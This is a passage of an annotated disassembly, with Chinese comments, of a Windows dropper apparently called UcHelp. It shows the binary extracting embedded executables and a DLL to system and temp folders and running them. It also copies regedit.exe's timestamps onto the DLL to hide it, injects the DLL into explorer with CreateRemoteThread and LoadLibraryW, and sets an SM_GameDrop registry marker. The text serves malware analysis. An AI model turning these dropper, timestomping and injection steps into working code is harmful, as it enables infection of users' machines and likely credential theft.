  415. 00401186  |.  81C4 28010000 ADD ESP,128
  416. 0040118C  |.  C3           RETN
  417. 0040118D  |>  5F           POP EDI               ;  有 就 返回 1 没有 返回0
  418. 0040118E  |.  B0 01         MOV AL,1
  419. 00401190  |.  5E            POP ESI
  420. 00401191  |.  81C4 28010000 ADD ESP,128
  421. 00401197  \.  C3            RETN

  422. 004011A0  /$  51           PUSH ECX
  423. 004011A1  |.  53            PUSH EBX
  424. 004011A2  |.  56            PUSH ESI
  425. 004011A3  |.  57            PUSH EDI
  426. 004011A4  |.  68 64214000   PUSH UcHelp.00402164           ; /ret
  427. 004011A9  |.  6A 69         PUSH 69                       ; |ResourceName = 69
  428. 004011AB  |.  6A 00         PUSH 0                        ; |hModule = NULL
  429. 004011AD  |.  FF15 38204000 CALL DWORD PTR DS:[<&KERNEL32.FindResour>; \FindResourceA
  430. 004011B3  |.  8BF0          MOV ESI,EAX
  431. 004011B5  |.  56            PUSH ESI                          ; /hResource
  432. 004011B6  |.  6A 00         PUSH 0                            ; |hModule = NULL
  433. 004011B8  |.  FF15 34204000 CALL DWORD PTR DS:[<&KERNEL32.SizeofReso>; \SizeofResource
  434. 004011BE  |.  56            PUSH ESI                         ; /hResource
  435. 004011BF  |.  6A 00         PUSH 0                           ; |hModule = NULL
  436. 004011C1  |.  8BF8          MOV EDI,EAX                    ; |
  437. 004011C3  |.  FF15 30204000 CALL DWORD PTR DS:[<&KERNEL32.LoadResour>; \LoadResource
  438. 004011C9  |.  6A 00         PUSH 0                    ; /hTemplateFile = NULL
  439. 004011CB  |.  6A 00         PUSH 0                   ; |Attributes = 0
  440. 004011CD  |.  6A 02         PUSH 2                   ; |Mode = CREATE_ALWAYS
  441. 004011CF  |.  6A 00         PUSH 0                   ; |pSecurity = NULL
  442. 004011D1  |.  6A 00         PUSH 0                   ; |ShareMode = 0
  443. 004011D3  |. 68 000000C0 PUSH C0000000;|Accesss= GENERIC_READ|GENERIC_WRITE
  444. 004011D8  |.  68 54214000   PUSH UcHelp.00402154      ; |C:\sysret.dat
  445. 004011DD  |.  8BD8          MOV EBX,EAX           ; |
  446. 004011DF  |.  FF15 80204000 CALL DWORD PTR DS:[<&KERNEL32.CreateFile>; \CreateFileA
  447. 004011E5  |.  6A 00         PUSH 0                     ; /pOverlapped = NULL
  448. 004011E7  |.  8BF0          MOV ESI,EAX              ; |
  449. 004011E9  |.  8D4424 10     LEA EAX,DWORD PTR SS:[ESP+10]   ; |
  450. 004011ED  |.  50            PUSH EAX                 ; |pBytesWritten
  451. 004011EE  |.  57            PUSH EDI                  ; |nBytesToWrite
  452. 004011EF  |.  53            PUSH EBX                 ; |/nHandles
  453. 004011F0  |.  FF15 2C204000 CALL DWORD PTR DS:[<&KERNEL32.LockResour>; |\SetHandleCount
  454. 004011F6  |.  50            PUSH EAX                    ; |Buffer
  455. 004011F7  |.  56            PUSH ESI                     ; |hFile
  456. 004011F8  |.  FF15 84204000 CALL DWORD PTR DS:[<&KERNEL32.WriteFile>>; \WriteFile
  457. 004011FE  |.  56            PUSH ESI                     ; /hObject
  458. 004011FF  |.  FF15 88204000 CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
  459. 00401205  |.  6A 05         PUSH 5                    ; /ShowState = SW_SHOW
  460. 00401207  |.  68 54214000   PUSH UcHelp.00402154      ; |C:\sysret.dat
  461. 0040120C |.  FF15 94204000 CALL DWORD PTR DS:[<&KERNEL32.WinExec>];\WinExec
  462. 00401212  |.  5F            POP EDI                 ;释放资源里面的 ret
  463. 00401213  |.  5E            POP ESI                 ;写入到 C:\sysret.dat,并运行
  464. 00401214  |.  33C0          XOR EAX,EAX
  465. 00401216  |.  5B            POP EBX
  466. 00401217  |.  59            POP ECX
  467. 00401218  \.  C3            RETN

  468. =====================================================================


  469. 00401430  /$  55            PUSH EBP
  470. 00401431  |.  8BEC          MOV EBP,ESP
  471. 00401433  |.  83E4 F8       AND ESP,FFFFFFF8
  472. 00401436  |.  81EC A8030000 SUB ESP,3A8
  473. 0040143C  |.  53            PUSH EBX
  474. 0040143D  |.  55            PUSH EBP
  475. 0040143E  |.  56            PUSH ESI
  476. 0040143F  |.  57            PUSH EDI
  477. 00401440  |.  33C0          XOR EAX,EAX
  478. 00401442  |.  C64424 38 00  MOV BYTE PTR SS:[ESP+38],0
  479. 00401447  |.  B9 1F000000   MOV ECX,1F
  480. 0040144C  |.  8D7C24 39     LEA EDI,DWORD PTR SS:[ESP+39]
  481. 00401450  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  482. 00401452  |.  66:AB         STOS WORD PTR ES:[EDI]
  483. 00401454  |.  AA            STOS BYTE PTR ES:[EDI]
  484. 00401455  |.  68 80000000   PUSH 80                          ; /BufSize = 80 (128.)
  485. 0040145A  |.  8D4424 3C     LEA EAX,DWORD PTR SS:[ESP+3C] ; |
  486. 0040145E  |.  50            PUSH EAX                       ; |Buffer
  487. 0040145F  |.  FF15 6C204000 CALL DWORD PTR DS:[<&KERNEL32.GetSystemD>; \GetSystemDirectoryA
  488. 00401465  |.  8B2D 78204000 MOV EBP,DWORD PTR DS:[<&KERNEL32.lstrcat>;  kernel32.lstrcatA
  489. 0040146B  |.  68 20224000   PUSH UcHelp.00402220             ; /\AceExt32.dll
  490. 00401470  |.  8D4C24 3C     LEA ECX,DWORD PTR SS:[ESP+3C] ; |
  491. 00401474  |.  51            PUSH ECX                        ; |ConcatString
  492. 00401475  |.  FFD5          CALL EBP                        ; \lstrcatA
  493. 00401477  |.  68 1C224000   PUSH UcHelp.0040221C             ; /dll
  494. 0040147C  |.  6A 67         PUSH 67                         ; |ResourceName = 67
  495. 0040147E  |.  6A 00         PUSH 0                          ; |hModule = NULL
  496. 00401480  |.  FF15 38204000 CALL DWORD PTR DS:[<&KERNEL32.FindResour>; \FindResourceA
  497. 00401486  |.  8BF0          MOV ESI,EAX
  498. 00401488  |.  56            PUSH ESI                      ; /hResource
  499. 00401489  |.  6A 00         PUSH 0                        ; |hModule = NULL
  500. 0040148B  |.  FF15 34204000 CALL DWORD PTR DS:[<&KERNEL32.SizeofReso>; \SizeofResource
  501. 00401491  |.  56            PUSH ESI                      ; /hResource
  502. 00401492  |.  6A 00         PUSH 0                        ; |hModule = NULL
  503. 00401494  |.  8BF8          MOV EDI,EAX                 ; |
  504. 00401496  |.  FF15 30204000 CALL DWORD PTR DS:[<&KERNEL32.LoadResour>; \LoadResource
  505. 0040149C  |.  8B1D 80204000 MOV EBX,DWORD PTR DS:[<&KERNEL32.CreateF>;  kernel32.CreateFileA
  506. 004014A2  |.  6A 00         PUSH 0                   ; /hTemplateFile = NULL
  507. 004014A4  |.  6A 00         PUSH 0                   ; |Attributes = 0
  508. 004014A6  |.  6A 02         PUSH 2                   ; |Mode = CREATE_ALWAYS
  509. 004014A8  |.  6A 00         PUSH 0                   ; |pSecurity = NULL
  510. 004014AA  |.  6A 00         PUSH 0                   ; |ShareMode = 0
  511. 004014AC |.68 000000C0  PUSH C0000000; |Access= GENERIC_READ|GENERIC_WRITE
  512. 004014B1  |.  8D5424 50     LEA EDX,DWORD PTR SS:[ESP+50]    ; |
  513. 004014B5  |.  52            PUSH EDX                          ; |FileName
  514. 004014B6  |.  894424 30     MOV DWORD PTR SS:[ESP+30],EAX    ; |
  515. 004014BA  |.  FFD3          CALL EBX                         ; \CreateFileA
  516. 004014BC  |.  8B4C24 14     MOV ECX,DWORD PTR SS:[ESP+14]
  517. 004014C0  |.  6A 00         PUSH 0                        ; /pOverlapped = NULL
  518. 004014C2  |.  8BF0          MOV ESI,EAX                 ; |
  519. 004014C4  |.  8D4424 28     LEA EAX,DWORD PTR SS:[ESP+28];|
  520. 004014C8  |.  50            PUSH EAX                     ; |pBytesWritten
  521. 004014C9  |.  57            PUSH EDI                      ; |nBytesToWrite
  522. 004014CA  |.  51            PUSH ECX                     ; |/nHandles
  523. 004014CB  |.  FF15 2C204000 CALL DWORD PTR DS:[<&KERNEL32.LockResour>; |\SetHandleCount
  524. 004014D1  |.  50            PUSH EAX                     ; |Buffer
  525. 004014D2  |.  56            PUSH ESI                      ; |hFile
  526. 004014D3  |.  FF15 84204000 CALL DWORD PTR DS:[<&KERNEL32.WriteFile>>; \WriteFile
  527. 004014D9  |.  56            PUSH ESI                      ; /hObject
  528. 004014DA  |.  FF15 88204000 CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
  529. 004014E0  |.  C68424 B80000>MOV BYTE PTR SS:[ESP+B8],0
  530. 004014E8  |.  33C0          XOR EAX,EAX;  释放资源dll到system32\AceExt32.dll
  531. 004014EA  |.  B9 1F000000   MOV ECX,1F
  532. 004014EF  |.  8DBC24 B90000>LEA EDI,DWORD PTR SS:[ESP+B9]
  533. 004014F6  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  534. 004014F8  |.  66:AB         STOS WORD PTR ES:[EDI]
  535. 004014FA  |.  68 80000000   PUSH 80                          ; /BufSize = 80 (128.)
  536. 004014FF  |.  8D9424 BC0000>LEA EDX,DWORD PTR SS:[ESP+BC] ; |
  537. 00401506  |.  52            PUSH EDX                        ; |Buffer
  538. 00401507  |.  AA            STOS BYTE PTR ES:[EDI]          ; |
  539. 00401508  |.  FF15 44204000 CALL DWORD PTR DS:[<&KERNEL32.GetWindows>; \GetWindowsDirectoryA
  540. 0040150E  |.  68 0C224000   PUSH UcHelp.0040220C               ; /\regedit.exe
  541. 00401513  |.  8D8424 BC0000>LEA EAX,DWORD PTR SS:[ESP+BC]  ; |
  542. 0040151A  |.  50            PUSH EAX                         ; |ConcatString
  543. 0040151B  |.  FFD5          CALL EBP                         ; \lstrcatA
  544. 0040151D  |.  6A 00         PUSH 0                       ; /hTemplateFile = NULL
  545. 0040151F  |.  68 80000000   PUSH 80                  ; |Attributes = NORMAL
  546. 00401524  |.  6A 03         PUSH 3                   ; |Mode = OPEN_EXISTING
  547. 00401526  |.  6A 00         PUSH 0                   ; |pSecurity = NULL
  548. 00401528  |.  6A 00         PUSH 0                   ; |ShareMode = 0
  549. 0040152A  |.  68 00000080   PUSH 80000000            ; |Access = GENERIC_READ
  550. 0040152F  |.  8D8C24 D00000>LEA ECX,DWORD PTR SS:[ESP+D0]  ; |
  551. 00401536  |.  51            PUSH ECX                ; |FileName
  552. 00401537  |.  FFD3          CALL EBX                ; \CreateFileA
  553. 00401539  |.  8BF0          MOV ESI,EAX             ;检查 windows\regedit.exe
  554. 0040153B  |.  8D5424 28     LEA EDX,DWORD PTR SS:[ESP+28]
  555. 0040153F  |.  52            PUSH EDX                 ; /pLastWrite
  556. 00401540  |.  8D4424 20     LEA EAX,DWORD PTR SS:[ESP+20]      ; |
  557. 00401544  |.  50            PUSH EAX                            ; |pLastAccess
  558. 00401545  |.  8D4C24 38     LEA ECX,DWORD PTR SS:[ESP+38]      ; |
  559. 00401549  |.  51            PUSH ECX                            ; |pCreationTime
  560. 0040154A  |.  56            PUSH ESI                             ; |hFile
  561. 0040154B  |.  FF15 68204000 CALL DWORD PTR DS:[<&KERNEL32.GetFileTim>; \GetFileTime
  562. 00401551  |.  85C0          TEST EAX,EAX            ;  获取创建时间
  563. 00401553  |.  74 38         JE SHORT UcHelp.0040158D
  564. 00401555  |.  6A 00         PUSH 0                    ; /hTemplateFile = NULL
  565. 00401557  |.  68 80000000   PUSH 80                    ; |Attributes = NORMAL
  566. 0040155C  |.  6A 03         PUSH 3                    ; |Mode = OPEN_EXISTING
  567. 0040155E  |.  6A 00         PUSH 0                    ; |pSecurity = NULL
  568. 00401560  |.  6A 00         PUSH 0                    ; |ShareMode = 0
  569. 00401562  |. 68 000000C0 PUSH C0000000 ;|Access = GENERIC_READ|GENERIC_WRITE
  570. 00401567  |.  8D5424 50     LEA EDX,DWORD PTR SS:[ESP+50]            ; |
  571. 0040156B  |.  52            PUSH EDX            ; |FileName
  572. 0040156C  |.  FFD3          CALL EBX            ; \CreateFileA
  573. 0040156E  |.  8BF8          MOV EDI,EAX         ;  检查  system32\AceExt32.dll
  574. 00401570  |.  8D4424 28     LEA EAX,DWORD PTR SS:[ESP+28]
  575. 00401574  |.  50            PUSH EAX             ; /pLastWrite
  576. 00401575  |.  8D4C24 20     LEA ECX,DWORD PTR SS:[ESP+20] ; |
  577. 00401579  |.  51            PUSH ECX                       ; |pLastAccess
  578. 0040157A  |.  8D5424 38     LEA EDX,DWORD PTR SS:[ESP+38] ; |
  579. 0040157E  |.  52            PUSH EDX                       ; |pCreationTime
  580. 0040157F  |.  57            PUSH EDI                        ; |hFile
  581. 00401580  |.  FF15 64204000 CALL DWORD PTR DS:[<&KERNEL32.SetFileTim>; \SetFileTime
  582. 00401586  |.  57            PUSH EDI                        ; /hObject
  583. 00401587  |.  FF15 88204000 CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
  584. 0040158D  |>  56            PUSH ESI                       ; /hObject
  585. 0040158E  |.  FF15 88204000 CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
  586. 00401594  |.  6A 00         PUSH 0                            ; /Title = NULL
  587. 00401596  |.  68 FC214000   PUSH UcHelp.004021FC             ; |shell_traywnd
  588. 0040159B  |.  FF15 F4204000 CALL DWORD PTR DS:[<&USER32.FindWindowA>>; \FindWindowA
  589. 004015A1  |.  8D4C24 18     LEA ECX,DWORD PTR SS:[ESP+18]
  590. 004015A5  |.  51            PUSH ECX                             ; /pProcessID
  591. 004015A6  |.  50            PUSH EAX                             ; |hWnd
  592. 004015A7  |.  FF15 F8204000 CALL DWORD PTR DS:[<&USER32.GetWindowThr>; \GetWindowThreadProcessId
  593. 004015AD  |.  8B5424 18     MOV EDX,DWORD PTR SS:[ESP+18]
  594. 004015B1  |.  52            PUSH EDX                       ; /ProcessId
  595. 004015B2  |.  6A 00         PUSH 0                          ; |Inheritable = FALSE
  596. 004015B4  |.  68 2A040000   PUSH 42A   
  597. ; |Access = CREATE_THREAD|VM_OPERATION|VM_WRITE|QUERY_INFORMATION
  598. 004015B9  |.  FF15 60204000 CALL DWORD PTR DS:[<&KERNEL32.OpenProces>; \OpenProcess
  599. 004015BF  |.  8BF0          MOV ESI,EAX                   ;  获取 explorer pID
  600. 004015C1  |.  68 80000000   PUSH 80                          ; /BufSize = 80 (128.)
  601. 004015C6  |.  8D8424 3C0100>LEA EAX,DWORD PTR SS:[ESP+13C] ; |
  602. 004015CD  |.  50            PUSH EAX                        ; |Buffer
  603. 004015CE  |.  FF15 6C204000 CALL DWORD PTR DS:[<&KERNEL32.GetSystemD>; \GetSystemDirectoryA
  604. 004015D4  |.  68 20224000   PUSH UcHelp.00402220              ;  \AceExt32.dll
  605. 004015D9  |.  8D8C24 3C0100>LEA ECX,DWORD PTR SS:[ESP+13C]
  606. 004015E0  |.  51            PUSH ECX
  607. 004015E1  |.  FFD5          CALL EBP
  608. 004015E3  |.  8D8424 380100>LEA EAX,DWORD PTR SS:[ESP+138]
  609. 004015EA  |.  8D48 01       LEA ECX,DWORD PTR DS:[EAX+1]
  610. 004015ED  |.  8D49 00       LEA ECX,DWORD PTR DS:[ECX]
  611. 004015F0  |>  8A10          /MOV DL,BYTE PTR DS:[EAX]
  612. 004015F2  |.  40            |INC EAX
  613. 004015F3  |.  84D2          |TEST DL,DL
  614. 004015F5  |.^ 75 F9         \JNZ SHORT UcHelp.004015F0
  615. 004015F7  |.  68 00010000   PUSH 100                 ; /WideBufSize = 100 (256.)
  616. 004015FC  |.  2BC1          SUB EAX,ECX           ; |
  617. 004015FE  |.  8D9424 BC0100>LEA EDX,DWORD PTR SS:[ESP+1BC] ; |
  618. 00401605  |.  52            PUSH EDX               ;|WideCharBuf
  619. 00401606  |.  6A FF         PUSH -1                 ;|StringSize = FFFFFFFF (-1.)
  620. 00401608  |.  8D7C00 02     LEA EDI,DWORD PTR DS:[EAX+EAX+2] ; |
  621. 0040160C  |.  8D8424 440100>LEA EAX,DWORD PTR SS:[ESP+144]    ; |
  622. 00401613  |.  50            PUSH EAX                      ;|StringToMap
  623. 00401614  |.  6A 00         PUSH 0                         ; |Options = 0
  624. 00401616  |.  6A 00         PUSH 0                         ; |CodePage = CP_ACP
  625. 00401618  |.  FF15 5C204000 CALL DWORD PTR DS:[<&KERNEL32.MultiByteT>; \MultiByteToWideChar
  626. 0040161E  |.  6A 04         PUSH 4
  627. 00401620  |.  68 00100000   PUSH 1000
  628. 00401625  |.  57            PUSH EDI
  629. 00401626  |.  6A 00         PUSH 0
  630. 00401628  |.  56            PUSH ESI
  631. 00401629  |.  FF15 58204000 CALL DWORD PTR DS:[<&KERNEL32.VirtualAll>;  kernel32.VirtualAllocEx
  632. 0040162F  |.  6A 00         PUSH 0                      ; /pBytesWritten = NULL
  633. 00401631  |.  57            PUSH EDI                   ; |BytesToWrite
  634. 00401632  |.  8D8C24 C00100>LEA ECX,DWORD PTR SS:[ESP+1C0] ; |
  635. 00401639  |.  51            PUSH ECX                  ; |Buffer
  636. 0040163A  |.  8BD8          MOV EBX,EAX             ; |
  637. 0040163C  |.  53            PUSH EBX                  ; |Address
  638. 0040163D  |.  56            PUSH ESI                   ; |hProcess
  639. 0040163E  |.  FF15 54204000 CALL DWORD PTR DS:[<&KERNEL32.WriteProce>; \WriteProcessMemory
  640. 00401644  |.  68 EC214000   PUSH UcHelp.004021EC            ; /LoadLibraryW
  641. 00401649  |.  68 E0214000   PUSH UcHelp.004021E0            ; |/Kernel32
  642. 0040164E  |.  FF15 50204000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH>; |\GetModuleHandleA
  643. 00401654  |.  50            PUSH EAX                      ; |hModule
  644. 00401655  |.  FF15 90204000 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd>; \GetProcAddress
  645. 0040165B  |.  6A 00         PUSH 0
  646. 0040165D  |.  6A 00         PUSH 0
  647. 0040165F  |.  53            PUSH EBX
  648. 00401660  |.  50            PUSH EAX
  649. 00401661  |.  6A 00         PUSH 0
  650. 00401663  |.  6A 00         PUSH 0
  651. 00401665  |.  56            PUSH ESI
  652. 00401666  |.  FF15 48204000 CALL DWORD PTR DS:[<&KERNEL32.CreateRemo>;  kernel32.CreateRemoteThread
  653. 0040166C  |.  5F            POP EDI   ;  0012FE20
  654. 0040166D  |.  5E            POP ESI
  655. 0040166E  |.  5D            POP EBP  ; 加载  system32\AceExt32.dll 到explorer进程
  656. 0040166F  |.  5B            POP EBX
  657. 00401670  |.  8BE5          MOV ESP,EBP
  658. 00401672  |.  5D            POP EBP
  659. 00401673  \.  C3            RETN

  660. =====================================================================


  661. 00401220  /$  55            PUSH EBP
  662. 00401221  |.  8BEC          MOV EBP,ESP
  663. 00401223  |.  83E4 F8       AND ESP,FFFFFFF8
  664. 00401226  |.  81EC 9C000000 SUB ESP,9C
  665. 0040122C  |.  55            PUSH EBP
  666. 0040122D  |.  56            PUSH ESI
  667. 0040122E  |.  57            PUSH EDI
  668. 0040122F  |.  33C0          XOR EAX,EAX
  669. 00401231  |.  C64424 28 00  MOV BYTE PTR SS:[ESP+28],0
  670. 00401236  |.  B9 1F000000   MOV ECX,1F
  671. 0040123B  |.  8D7C24 29     LEA EDI,DWORD PTR SS:[ESP+29]
  672. 0040123F  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  673. 00401241  |.  66:AB         STOS WORD PTR ES:[EDI]
  674. 00401243  |.  AA            STOS BYTE PTR ES:[EDI]
  675. 00401244  |.  8D4424 28     LEA EAX,DWORD PTR SS:[ESP+28]
  676. 00401248  |.  50            PUSH EAX                     ; /Buffer
  677. 00401249  |.  68 80000000   PUSH 80                        ; |BufSize = 80 (128.)
  678. 0040124E  |.  FF15 4C204000 CALL DWORD PTR DS:[<&KERNEL32.GetTe>; \GetTempPathA
  679. 00401254  |.  68 A8214000   PUSH UcHelp.004021A8             ; /ulinshi32.exe
  680. 00401259  |.  8D4C24 2C     LEA ECX,DWORD PTR SS:[ESP+2C] ; |
  681. 0040125D  |.  51            PUSH ECX                        ; |ConcatString
  682. 0040125E  |.  FF15 78204000 CALL DWORD PTR DS:[<&KERNEL32.lstrc>; \lstrcatA
  683. 00401264  |.  68 A4214000   PUSH UcHelp.004021A4            ; /exe
  684. 00401269  |.  6A 66         PUSH 66                         ; |ResourceName = 66
  685. 0040126B  |.  6A 00         PUSH 0                          ; |hModule = NULL
  686. 0040126D  |.  FF15 38204000 CALL DWORD PTR DS:[<&KERNEL32.FindR>; \FindResourceA
  687. 00401273  |.  8BF0          MOV ESI,EAX
  688. 00401275  |.  56            PUSH ESI                      ; /hResource
  689. 00401276  |.  6A 00         PUSH 0                        ; |hModule = NULL
  690. 00401278  |.  FF15 34204000 CALL DWORD PTR DS:[<&KERNEL32.Sizeo>; \SizeofResource
  691. 0040127E  |.  56            PUSH ESI                     ; /hResource
  692. 0040127F  |.  6A 00         PUSH 0                       ; |hModule = NULL
  693. 00401281  |.  8BF8          MOV EDI,EAX                ; |
  694. 00401283  |.  FF15 30204000 CALL DWORD PTR DS:[<&KERNEL32.LoadR>; \LoadResource
  695. 00401289  |.  6A 00         PUSH 0                   ; /hTemplateFile = NULL
  696. 0040128B  |.  6A 00         PUSH 0                   ; |Attributes = 0
  697. 0040128D  |.  6A 02         PUSH 2                   ; |Mode = CREATE_ALWAYS
  698. 0040128F  |.  6A 00         PUSH 0                   ; |pSecurity = NULL
  699. 00401291  |.  6A 00         PUSH 0                              ; |ShareMode = 0
  700. 00401293  |.  68 000000C0   PUSH C0000000   
  701. ; |Access = GENERIC_READ|GENERIC_WRITE
  702. 00401298  |.  8D5424 40     LEA EDX,DWORD PTR SS:[ESP+40]; |
  703. 0040129C  |.  52            PUSH EDX                     ; |FileName
  704. 0040129D  |.  8BE8          MOV EBP,EAX                 ; |
  705. 0040129F  |.  FF15 80204000 CALL DWORD PTR DS:[<&KERNEL32.Creat>; \CreateFileA
  706. 004012A5  |.  6A 00         PUSH 0                        ; /pOverlapped = NULL
  707. 004012A7  |.  8BF0          MOV ESI,EAX                   ; |
  708. 004012A9  |.  8D4424 24     LEA EAX,DWORD PTR SS:[ESP+24] ; |
  709. 004012AD  |.  50            PUSH EAX                      ; |pBytesWritten
  710. 004012AE  |.  57            PUSH EDI                       ; |nBytesToWrite
  711. 004012AF  |.  55            PUSH EBP                       ; |/nHandles
  712. 004012B0  |.  FF15 2C204000 CALL DWORD PTR DS:[<&KERNEL32.LockR>; |\SetHandleCount
  713. 004012B6  |.  50            PUSH EAX                           ; |Buffer
  714. 004012B7  |.  56            PUSH ESI                            ; |hFile
  715. 004012B8  |.  FF15 84204000 CALL DWORD PTR DS:[<&KERNEL32.Write>; \WriteFile
  716. 004012BE  |.  56            PUSH ESI                            ; /hObject
  717. 004012BF  |.  FF15 88204000 CALL DWORD PTR DS:[<&KERNEL32.Close>; \CloseHandle
  718. 004012C5  |.  33C9          XOR ECX,ECX
  719. ;  将 资源 exe 释放到 临时文件夹保存为 ulinshi32.exe
  720. 004012C7  |.  894C24 15     MOV DWORD PTR SS:[ESP+15],ECX
  721. 004012CB  |.  66:894C24 19  MOV WORD PTR SS:[ESP+19],CX
  722. 004012D0  |.  8D5424 10     LEA EDX,DWORD PTR SS:[ESP+10]
  723. 004012D4  |.  52            PUSH EDX               /pHandle
  724. 004012D5  |.  68 3F000F00   PUSH 0F003F           ; |Access = KEY_ALL_ACCESS
  725. 004012DA  |.  C64424 1C 00  MOV BYTE PTR SS:[ESP+1C],0          ; |
  726. 004012DF  |.  884C24 23     MOV BYTE PTR SS:[ESP+23],CL         ; |
  727. 004012E3  |.  51            PUSH ECX                            ; |Reserved => 0
  728. 004012E4  |.  68 78214000   PUSH UcHelp.00402178
  729. ; |SOFTWARE\Microsoft\Windows\CurrentVersion
  730. 004012E9  |.  68 02000080   PUSH 80000002     ; |hKey = HKEY_LOCAL_MACHINE
  731. 004012EE  |.  FF15 08204000 CALL DWORD PTR DS:[<&ADVAPI32.RegOp>; \RegOpenKeyExA
  732. 004012F4  |.  8D4424 1C     LEA EAX,DWORD PTR SS:[ESP+1C]
  733. 004012F8  |.  50            PUSH EAX                            ; /pBufSize
  734. 004012F9  |.  8B4424 14     MOV EAX,DWORD PTR SS:[ESP+14]; |
  735. 004012FD  |.  8D4C24 18     LEA ECX,DWORD PTR SS:[ESP+18]; |
  736. 00401301  |.  51            PUSH ECX                       ; |Buffer
  737. 00401302  |.  8D5424 2C     LEA EDX,DWORD PTR SS:[ESP+2C] ; |
  738. 00401306  |.  52            PUSH EDX                       ; |pValueType
  739. 00401307  |.  6A 00         PUSH 0                          ; |Reserved = NULL
  740. 00401309  |.  68 6C214000   PUSH UcHelp.0040216C                ; |SM_GameDrop
  741. 0040130E  |.  50            PUSH EAX                            ; |hKey
  742. 0040130F  |.  FF15 04204000 CALL DWORD PTR DS:[<&ADVAPI32.RegQu>; \RegQueryValueExA
  743. 00401315  |.  85C0          TEST EAX,EAX     ;检查 SM_GameDrop 项目是否存在
  744. 00401317  |.  74 44         JE SHORT UcHelp.0040135D    ;  不存在,就走下面的
  745. 00401319  |.  6A 05         PUSH 5                      ; /ShowState = SW_SHOW
  746. 0040131B  |.  8D4C24 2C LEA ECX,DWORD PTR SS:[ESP+2C] ; |无就运行 ulinshi32.exe
  747. 0040131F  |.  51            PUSH ECX                   ; |CmdLine
  748. 00401320  |.  FF15 94204000 CALL DWORD PTR DS:[<&KERNEL32.WinEx>; \WinExec
  749. 00401326  |.  68 68214000   PUSH UcHelp.00402168         ; /yes
  750. 0040132B  |.  FF15 3C204000 CALL DWORD PTR DS:[<&KERNEL32.lstrl>; \lstrlenA
  751. 00401331  |.  8B5424 10   MOV EDX,DWORD PTR SS:[ESP+10] ; 检查键值 是否是yes
  752. 00401335  |.  50            PUSH EAX                     ; /BufSize
  753. 00401336  |.  68 68214000   PUSH UcHelp.00402168           ; |yes
  754. 0040133B  |.  6A 01         PUSH 1                        ; |ValueType = REG_SZ
  755. 0040133D  |.  6A 00         PUSH 0                        ; |Reserved = 0
  756. 0040133F  |.  68 6C214000   PUSH UcHelp.0040216C          ; |SM_GameDrop
  757. 00401344  |.  52            PUSH EDX                     ; |hKey
  758. 00401345  |.  FF15 00204000 CALL DWORD PTR DS:[<&ADVAPI32.RegSe>; \RegSetValueExA
  759. 0040134B  |.  8B4424 10     MOV EAX,DWORD PTR SS:[ESP+10]
  760. 0040134F  |.  50            PUSH EAX                     ; /hKey
  761. 00401350  |.  FF15 18204000 CALL DWORD PTR DS:[<&ADVAPI32.RegCl>; \RegCloseKey
  762. 00401356  |.  5F            POP EDI
  763. 00401357  |.  5E            POP ESI                  ;  创建 SM_GameDrop 项目
  764. 00401358  |.  5D            POP EBP
  765. 00401359  |.  8BE5          MOV ESP,EBP
  766. 0040135B  |.  5D            POP EBP
  767. 0040135C  |.  C3            RETN
  768. 0040135D  |>  8B4C24 10     MOV ECX,DWORD PTR SS:[ESP+10]
  769. 00401361  |.  51            PUSH ECX                 ; /hKey
  770. 00401362  |.  FF15 18204000 CALL DWORD PTR DS:[<&ADVAPI32.RegCl>; \RegCloseKey
  771. 00401368  |.  8D5424 14     LEA EDX,DWORD PTR SS:[ESP+14]
  772. 0040136C  |.  68 68214000   PUSH UcHelp.00402168              ; /yes
  773. 00401371  |.  52            PUSH EDX                        ; |s1
  774. 00401372  |.  FF15 A0204000 CALL DWORD PTR DS:[<&MSVCRT._stricm>; \_stricmp
  775. 00401378  |.  83C4 08       ADD ESP,8        ;  检查SM_GameDrop 键值是否为yes
  776. 0040137B  |.  85C0          TEST EAX,EAX
  777. 0040137D  |.  74 0D         JE SHORT UcHelp.0040138C  ;  否就运行 ulinshi32.exe
  778. 0040137F  |.  6A 05         PUSH 5                    ; /ShowState = SW_SHOW
  779. 00401381  |.  8D4424 2C     LEA EAX,DWORD PTR SS:[ESP+2C]   ; |
  780. 00401385  |.  50            PUSH EAX                            ; |CmdLine
  781. 00401386  |.  FF15 94204000 CALL DWORD PTR DS:[<&KERNEL32.WinEx>; \WinExec
  782. 0040138C  |>  5F            POP EDI
  783. 0040138D  |.  5E            POP ESI
  784. 0040138E  |.  5D            POP EBP
  785. 0040138F  |.  8BE5          MOV ESP,EBP
  786. 00401391  |.  5D            POP EBP
  787. 00401392  \.  C3            RETN

  788. =====================================================================


  789. 00401680  /$  55            PUSH EBP
  790. 00401681  |.  8BEC          MOV EBP,ESP
  791. 00401683  |.  83E4 F8       AND ESP,FFFFFFF8
  792. 00401686  |.  81EC 08010000 SUB ESP,108
  793. 0040168C  |.  53            PUSH EBX
  794. 0040168D  |.  55            PUSH EBP
  795. 0040168E  |.  56            PUSH ESI
  796. 0040168F  |.  57            PUSH EDI
  797. 00401690  |.  B9 09000000   MOV ECX,9
  798. 00401695  |.  BE 08234000   MOV ESI,UcHelp.00402308
  799. ;  {35CEC8A3-2BE6-11D2-8773-92E220524150}
  800. 0040169A  |.  8DBC24 980000>LEA EDI,DWORD PTR SS:[ESP+98]
  801. 004016A1  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD P>
  802. 004016A3  |.  66:A5         MOVS WORD PTR ES:[EDI],WORD PTR DS:>
  803. 004016A5  |.  A4            MOVS BYTE PTR ES:[EDI],BYTE PTR DS:>
  804. 004016A6  |.  33C0          XOR EAX,EAX
  805. 004016A8  |.  B9 16000000   MOV ECX,16
  806. 004016AD  |.  8DBC24 BF0000>LEA EDI,DWORD PTR SS:[ESP+BF]
  807. 004016B4  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  808. 004016B6  |.  AA            STOS BYTE PTR ES:[EDI]
  809. 004016B7  |.  33C0          XOR EAX,EAX
  810. 004016B9  |.  C64424 18 00  MOV BYTE PTR SS:[ESP+18],0
